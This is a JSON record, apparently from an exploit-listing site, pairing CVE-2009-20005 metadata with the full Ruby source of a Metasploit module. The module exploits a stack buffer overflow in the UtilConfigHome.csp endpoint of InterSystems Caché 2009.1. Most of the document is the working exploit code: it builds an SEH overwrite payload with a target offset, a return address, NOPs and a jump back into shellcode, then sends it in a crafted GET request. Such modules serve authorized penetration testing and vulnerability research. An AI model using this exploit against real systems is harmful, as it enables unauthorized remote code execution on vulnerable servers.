{"exploit":{"id":"MSF-windows--http--intersystems_cache","name":"InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow","description":"This module exploits a stack buffer overflow in InterSystems Cache 2009.1. By sending a specially crafted GET request, an attacker may be able to execute arbitrary code.","cves":["CVE-2009-20005"],"author":"MC","published":"2009-09-29","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/http/intersystems_cache.rb","path":"modules/exploits/windows/http/intersystems_cache.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"intersystems_cache.rb","vulnerabilities":[{"id":"CVE-2009-20005","state":"PUBLISHED","title":"InterSystems Caché UtilConfigHome.csp Stack Buffer Overflow","titleSource":"CVE Program","description":"A stack-based buffer overflow exists in the UtilConfigHome.csp endpoint of InterSystems Caché 2009.1. The vulnerability is triggered by sending a specially crafted HTTP GET request containing an oversized argument to the .csp handler. Due to insufficient bounds checking, the input overflows a stack buffer, allowing an attacker to overwrite control structures and execute arbitrary code. It is unknown if this vulnerability was patched and an affected version range remains undefined.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-20005","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2009-20005"},"updatedAt":"2026-05-15T11:13:15.114Z","retrievedAt":"2026-11-26T13:32:55.866Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--http--intersystems_cache.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--http--intersystems_cache","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--http--intersystems_cache/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--http--intersystems_cache/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GreatRanking\n\n  # XXX: Needs custom body check HttpFingerprint = { :uri => '/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] }\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in InterSystems Cache 2009.1.\n          By sending a specially crafted GET request, an attacker may be able to execute\n          arbitrary code.\n        },\n        'Author' => [ 'MC' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2009-20005' ],\n          [ 'OSVDB', '60549' ],\n          [ 'BID', '37177' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n        },\n        'Privileged' => true,\n        'Payload' => {\n          'Space' => 650,\n          'BadChars' => \"\\x00\\x3a\\x26\\x3f\\x0c\\x25\\x23\\x20\\x0a\\x0d\\x09\\x2f\\x2b\\x2e\\x0b\\x5c\",\n          'PrependEncoder' => \"\\x81\\xc4\\xff\\xef\\xff\\xff\\x44\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2009-09-29',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    ) # Initially...!\n\n    register_options([ Opt::RPORT(57772) ])\n  end\n\n  def exploit\n    # offset to the seh frame.\n    sploit = payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)\n    # jmp $+6 | p/p/r\n    sploit << Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')\n    # fall into some nops, jmp back to our final payload.\n    sploit << make_nops(8) + [0xe9, -700].pack('CV')\n    # cause the av!\n    sploit << rand_text_alpha_upper(payload.encoded.length)\n\n    print_status(\"Trying target #{target.name}...\")\n\n    send_request_raw({\n      'uri' => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,\n      'method' => 'GET',\n    }, 5)\n\n    handler\n  end\nend\n","sha256":"d1005707c62af9c75365b960d0b6efe3be46537f78c29640976896911c4ed6d3","bytes":2435,"fetchedAt":"2026-11-26T13:32:55.749Z","encoding":"utf-8 (display only; download retains original bytes)"}